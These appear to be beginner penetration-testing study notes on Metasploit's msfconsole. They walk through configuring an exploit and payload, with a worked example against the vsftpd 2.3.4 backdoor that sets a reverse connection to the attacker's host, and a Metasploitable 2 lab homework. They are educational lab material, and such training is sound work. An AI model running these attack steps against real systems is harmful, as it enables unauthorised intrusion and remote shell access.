1> configure the exploit
2> cofigure the payload and make sure it is set inside the exploit

```
root@kali#service postgresql start   ---> Initialise the database

root@kali# msfconsole    --> to openup the msf console on your terminal

msf> search <module name>
msf> use <module name>
msf exploit(<module name>)> show options
msf exploit(<module name>)> set RHOST
msf exploit(<module name>)>set RPORT    *(if required)
msf exploit(<module name>)>show payloads
msf exploit(<module name>)>set PAYLOAD <payload name>
msf exploit(<module name>)>set LHOST <attacker's IP address>
msf exploit(<module name>)>set LPORT <Any port to listen on the attacker's machine>
msf exploit(<module name>)>exploit
```

example: How to exploit a linux machine using MSFCONSOLE

```
root@kali#  service postgresql start

root@kali# msfconsole

msf5 > search vsftpd 2.3.4
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > show options
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > set RHOST/RHOSTS <your target IP>
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > set RPORT <if necessary>
```

--------- you finished configuring your EXPLOIT PART till here ------------

Configuration of PAYLOAD:

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > show payloads
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > set PAYLOAD <id no of payload>
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > set LHOST <attacker's IP>
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > set LPORT <any port on the attackers machine to listen to the traffic>
msf5 exploit(unix/ftp/vsftpd_234_backdoor)  > exploit
```

TERMS:
RHOST: Target's IP Address
RPORT: Target's port number which you need to exploit
LHOST: Attacker's IP Address
LPORT: Any random port on Attacker's machine to listen to the traffic sent by victim's machine.
SRVHOST: IP address of the service or server the Attacker is going to start while exploiting.
SRVPORT: The port number on which the attacker is going to start the service.
URIPATH: Should set to "/" (Uniform Resource Identifier)

Types of PAYLOADS:
Single: payloads that are self-contained and completely standalone.
Stager: Stagers setup a network connection between the attacker and victim and are designed to be small and reliable.
Stages: Stages are payload components that are downloaded by Stagers modules.

SHELL: it is a user interface for access to an operating system's services.

Meterpreter: A wrapper on the shell which can provide more options than SHELL by injecting ".dll" files into the target machine.

Home work: try to find new vulnerabilities in Metasploitable 2 operating system.

exitfunc: When you need a clean exit out of the exploit you need to set the exitfunc

SEH: Structured Exception Handler, when there is a structured exception handler that will restart the thread or process automatically when an error occurs

THREAD: runs the shellcode in a sub-thread and exiting this thread doesn't effect the functioning of the application or exploit.

PROCESS: This method should be used with multi/handler. This method should also be used with any exploit where a master process restarts it on exit.